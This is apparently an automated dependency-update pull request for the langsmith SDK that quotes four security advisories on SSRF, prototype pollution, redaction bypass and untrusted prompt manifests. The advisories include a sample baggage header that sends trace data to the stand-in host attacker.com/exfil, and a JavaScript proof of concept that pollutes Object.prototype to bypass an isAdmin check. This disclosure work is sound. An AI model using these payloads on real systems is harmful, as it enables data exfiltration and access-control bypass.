fix(deps): update dependency langsmith to v0.6.0 [security] - #4058

Details

Summary

The LangSmith SDK's distributed tracing feature is vulnerable to Server-Side Request Forgery via malicious HTTP headers. An attacker can inject arbitrary api_url values through the baggage header, causing the SDK to exfiltrate sensitive trace data to attacker-controlled endpoints.

Description

When using distributed tracing, the SDK parses incoming HTTP headers via RunTree.from_headers() in Python or RunTree.fromHeaders() in Typescript. The baggage header can contain replica configurations including api_url and api_key fields.

Prior to the fix, these attacker-controlled values were accepted without validation. When a traced operation completes, the SDK's post() and patch() methods send run data to all configured replica URLs, including any injected by an attacker.

Attack Vector

1. Attacker sends an HTTP request to a vulnerable service with a malicious baggage header:

   baggage: langsmith-replicas=[{"api_url":"https://attacker.com/exfil","project_name":"x"}]
   

2. The service parses the header via RunTree.from_headers(), storing the attacker's URL

3. When the traced operation completes, the SDK sends the full run data (including LLM inputs, outputs, and metadata) to https://attacker.com/exfil

Impact

• Data Exfiltration: Sensitive trace data including LLM prompts, completions, and application metadata sent to attacker-controlled servers
• SSRF: Ability to make the server send requests to arbitrary URLs, potentially targeting internal services

Affected Use Cases

Applications are vulnerable if they:

• Use TracingMiddleware to automatically propagate tracing context
• Call RunTree.from_headers() / RunTree.fromHeaders() with untrusted HTTP headers

Remediation

Update to the patched versions:

• Python: pip install langsmith>=0.6.3
• JavaScript: npm install langsmith@>=0.4.6

The fix filters incoming replica configurations to an allowlist of safe fields, removing api_url, api_key, and other credential fields.

Workarounds

If unable to upgrade immediately:

• Strip or validate the baggage header before passing to from_headers()
• Do not use TracingMiddleware with untrusted traffic

Severity

• CVSS Score: 5.8 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

References

• https://github.com/langchain-ai/langsmith-sdk/security/advisories/GHSA-v34v-rq6j-cj6p
• https://nvd.nist.gov/vuln/detail/CVE-2026-25528
• https://github.com/advisories/GHSA-v34v-rq6j-cj6p

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Details

GHSA-fw9q-39r9-c252: Prototype Pollution via Incomplete Lodash set() Guard in langsmith-sdk

Severity: Medium (CVSS ~5.6)
Status: Fixed in 0.5.18

Summary

The LangSmith JavaScript/TypeScript SDK (langsmith) contains an incomplete prototype pollution fix in its internally vendored lodash set() utility. The baseAssignValue() function only guards against the __proto__ key, but fails to prevent traversal via constructor.prototype. This allows an attacker who controls keys in data processed by the createAnonymizer() API to pollute Object.prototype, affecting all objects in the Node.js process.

Affected Products

Not affected: The Python SDK (langsmith on PyPI) does not use lodash or an equivalent pattern.

Root Cause

The SDK vendors an internal copy of lodash's set() function at js/src/utils/lodash/. The baseAssignValue() function at baseAssignValue.ts:11 implements a guard for prototype pollution:

function baseAssignValue(object: Record<string, any>, key: string, value: any) {
  if (key === "__proto__") {
    Object.defineProperty(object, key, {
      configurable: true, enumerable: true, value: value, writable: true,
    });
  } else {
    object[key] = value;  // ← No guard for "constructor" or "prototype" keys
  }
}

This blocks __proto__ pollution but does not block the constructor.prototype traversal path. When set() is called with a path like "constructor.prototype.polluted":

1. castPath() splits it into ["constructor", "prototype", "polluted"]
2. baseSet() iterates: obj.constructor → Object → Object.prototype
3. assignValue(Object.prototype, "polluted", value) calls baseAssignValue()
4. Key is "polluted" (not "__proto__"), so the guard is bypassed
5. Object.prototype.polluted = value — all objects are polluted

Attack Vector via Anonymizer

The createAnonymizer() API (importable as langsmith/anonymizer) processes data by:

1. Extracting string nodes — extractStringNodes() walks an object recursively and builds dotted paths from keys
2. Applying regex replacements — If a string value matches a configured pattern, the node is marked for update (anonymizer/index.ts:95)
3. Writing back with set() — set(mutateValue, node.path, node.value) writes the replaced value back (anonymizer/index.ts:123)

An attacker who controls keys in data being anonymized can construct a nested object where the path resolves to constructor.prototype.X:

{
  wrapper: {
    "constructor.prototype.isAdmin": "contains-secret-pattern"
  }
}

extractStringNodes() produces path "wrapper.constructor.prototype.isAdmin". When the replacement triggers and set() writes back, it traverses up to Object.prototype.

Although createAnonymizer() uses deepClone() at anonymizer/index.ts:62 (JSON.parse(JSON.stringify(data))), the prototype chain traversal escapes the clone boundary because clone.wrapper.constructor resolves to the global Object constructor, not a cloned copy.

Proof of Concept

import { createAnonymizer } from "langsmith/anonymizer";

const anonymizer = createAnonymizer([
  { pattern: "secret", replace: "[REDACTED]" }
]);

console.log("BEFORE:", ({}).isAdmin);  // undefined

const maliciousInput = {
  wrapper: {
    "constructor.prototype.isAdmin": "this-is-secret-data"
  }
};

anonymizer(maliciousInput);

console.log("AFTER:", ({}).isAdmin);   // "this-is-[REDACTED]-data"
console.log("Array:", [].isAdmin);     // "this-is-[REDACTED]-data"

function checkAccess(user) {
  if (user.isAdmin) return "ACCESS GRANTED";
  return "ACCESS DENIED";
}
console.log(checkAccess({ name: "bob" }));  // "ACCESS GRANTED" ← BYPASSED

Impact

Prototype pollution in a Node.js process can enable:

1. Authentication bypass — if (user.isAdmin) checks succeed on all objects
2. Remote Code Execution — Exploitable in template engines (Pug, EJS, Handlebars, Nunjucks) via polluted prototype properties that reach eval()/Function() sinks
3. Denial of Service — Overwriting toString, valueOf, or hasOwnProperty on all objects
4. Data exfiltration — Polluting serialization methods to inject attacker-controlled values

Remediation

In baseAssignValue.ts, extend the guard to cover constructor and prototype keys:

function baseAssignValue(object, key, value) {
  if (key === "__proto__" || key === "constructor" || key === "prototype") {
    Object.defineProperty(object, key, {
      configurable: true, enumerable: true, value, writable: true,
    });
  } else {
    object[key] = value;
  }
}

As defense in depth, extractStringNodes() in anonymizer/index.ts should also sanitize or reject path segments matching constructor or prototype before passing them to set().

Timeline

Credits

Reported by: OneThing4101

Severity

• CVSS Score: 5.6 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L

References

• https://github.com/langchain-ai/langsmith-sdk/security/advisories/GHSA-fw9q-39r9-c252
• https://github.com/langchain-ai/langsmith-sdk/pull/2690
• https://github.com/langchain-ai/langsmith-sdk/commit/31d3c3aec02892f4312baae112f817d6b2f0ebe3
• https://nvd.nist.gov/vuln/detail/CVE-2026-40190
• https://github.com/advisories/GHSA-fw9q-39r9-c252

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Details

Summary

The LangSmith SDK's output redaction controls (hideOutputs in JS, hide_outputs in Python) do not apply to streaming token events. When an LLM run produces streaming output, each chunk is recorded as a new_token event containing the raw token value. These events bypass the redaction pipeline entirely — prepareRunCreateOrUpdateInputs (JS) and _hide_run_outputs (Python) only process the inputs and outputs fields on a run, never the events array. As a result, applications relying on output redaction to prevent sensitive LLM output from being stored in LangSmith will still leak the full streamed content via run events.

Details

Both JS and Python SDKs are affected. The same pattern exists in both:

• JS SDK: traceable.ts:997-1003 and traceable.ts:1044-1050
• Python SDK: run_helpers.py:1924 and run_helpers.py:1996

In both SDKs, new_token events with raw kwargs.token values are added during streaming, and the redaction pipeline (hideOutputs in JS, hide_outputs in Python) only processes inputs/outputs — never events.

Severity

• CVSS Score: 5.3 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

References

• https://github.com/langchain-ai/langsmith-sdk/security/advisories/GHSA-rr7j-v2q5-chgv
• https://nvd.nist.gov/vuln/detail/CVE-2026-41182
• https://github.com/advisories/GHSA-rr7j-v2q5-chgv

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Details

Description

The LangSmith SDK's prompt pull methods (pull_prompt / pull_prompt_commit in Python, pullPrompt / pullPromptCommit in JS/TS) fetch and deserialize prompt manifests from the LangSmith Hub. These manifests may contain serialized LangChain objects and model configuration that affect runtime behavior. When pulling a public prompt by owner/name identifier, the manifest content is controlled by an external party, but prior versions of the SDK did not distinguish this from pulling a prompt within the caller's own organization.

Prompt manifests can intentionally configure a model with a custom base URL, default headers, model name, or other constructor arguments. These are supported features, but they also mean the prompt contents should be treated as executable configuration rather than plain text. A prompt can also include serialized LangChain Runnable or PromptTemplate objects with attacker-controlled constructor kwargs, or secret references that, if secrets_from_env is enabled, read environment variables at deserialization time.
Applications are exposed when all of the following are true:

• The application calls pull_prompt or pull_prompt_commit (Python) or pullPrompt or pullPromptCommit (JS/TS) with a public owner/name prompt identifier.
• The prompt was published or modified by an untrusted or compromised account.
• The application uses the pulled prompt without independently validating its contents.

Applications that only pull prompts from their own organization (referenced by name only, without an owner/ prefix) are not affected by the public prompt trust boundary issue described above. However, same-organization prompts carry their own risk. If an attacker gains write access to the organization (for example, through a leaked LANGSMITH_API_KEY or a compromised team member account), they can push a malicious prompt that is pulled and deserialized without any additional warning.

Impact

An attacker who publishes a malicious prompt to LangSmith Hub may be able to affect applications that pull that prompt by owner/name. If the prompt manifest reaches the SDK's deserialization path, the SDK will instantiate the referenced LangChain objects with the attacker-supplied constructor arguments rather than treating the manifest as inert data.

Realistic impacts include:

• Server-side request forgery (SSRF), outbound request redirection, and interception of LLM traffic if a prompt manifest configures an LLM client with an attacker-controlled base_url, proxy, or equivalent endpoint-setting parameter. In typical deployments, redirected requests may include prompt contents, system prompts, retrieved context, model parameters, provider credentials, or other secrets and may disclose them to the attacker-controlled endpoint.
• Prompt injection or behavior manipulation if a manifest embeds attacker-controlled system messages, prompt templates, or model parameters that alter the application's behavior.
• Additional deserialization risk when include_model=True is passed, because this expands the allowlist to partner integration classes. This is not the default, but it materially increases risk when pulling prompts from outside the caller's organization.

Remediation

The LangSmith SDK now blocks pulling public prompts by owner/name by default. Callers must explicitly opt in by passing dangerously_pull_public_prompt=True (Python) or dangerouslyPullPublicPrompt: true (JS/TS) to acknowledge the trust boundary. This flag should only be set after reviewing and trusting the prompt contents, not merely the publishing account.

Upgrade to LangSmith SDK Python >= 0.8.0 or JS/TS >= 0.6.0.

Guidance for prompt pull methods

The prompt pull methods (pull_prompt / pull_prompt_commit in Python, pullPrompt / pullPromptCommit in JS/TS) should be used only with trusted prompts. Do not pull public prompts by owner/name from untrusted or unreviewed sources without understanding that the manifest contents will be deserialized and may affect runtime behavior.

When pulling prompts that include model configuration (include_model=True in Python, includeModel: true in JS/TS), the deserialization allowlist expands to include partner integration classes. Because this mode is not the default and is often unnecessary for third-party prompts, prefer the default (false) when pulling prompts from sources outside your organization.

Avoid passing secrets_from_env=True (Python) when pulling untrusted prompts. This parameter allows prompt manifests to read environment variables during deserialization. Only use it with trusted prompts from your own organization.

Same-organization prompts

Prompts pulled from the caller's own organization (referenced by name only, without an owner/ prefix) are not gated by the new dangerously_pull_public_prompt flag, but they are not inherently safe. If an attacker gains write access to the organization (for example, through a leaked LANGSMITH_API_KEY or a compromised team member account), they can push a malicious prompt that redirects LLM traffic to attacker-controlled infrastructure and may disclose any credentials attached to those requests.

The security of same-organization prompts follows a shared responsibility model. The LangSmith SDK enforces trust boundaries for public prompts pulled from external accounts, but it cannot protect against compromised credentials or accounts within the caller's own organization. Securing API keys, managing team member access, and reviewing prompt contents before production deployment are the responsibility of the organization. Organizations should treat prompts as executable configuration and apply the same review and audit practices they would apply to application code.

Credits

First reported by @​Moaaz-0x.

Severity

• CVSS Score: 7.1 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N

References

• https://github.com/langchain-ai/langsmith-sdk/security/advisories/GHSA-3644-q5cj-c5c7
• https://nvd.nist.gov/vuln/detail/CVE-2026-45134
• https://github.com/advisories/GHSA-3644-q5cj-c5c7

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

v0.6.0

Compare Source

v0.5.26

Compare Source

v0.5.25

Compare Source

v0.5.24

Compare Source

v0.5.23

Compare Source

v0.5.22

Compare Source

v0.5.21

Compare Source

v0.5.20

Compare Source

v0.5.19

Compare Source

v0.5.18

Compare Source

v0.5.17

Compare Source

v0.5.16

Compare Source

v0.5.15

Compare Source

v0.5.14

Compare Source

v0.5.13

Compare Source

v0.5.12

Compare Source

v0.5.11

Compare Source

v0.5.10

Compare Source

v0.5.9

Compare Source

v0.5.8

Compare Source

v0.5.7

Compare Source

v0.5.6

Compare Source

v0.5.5

Compare Source

v0.5.4

Compare Source

v0.5.3

Compare Source

v0.5.2

Compare Source

v0.5.1

Compare Source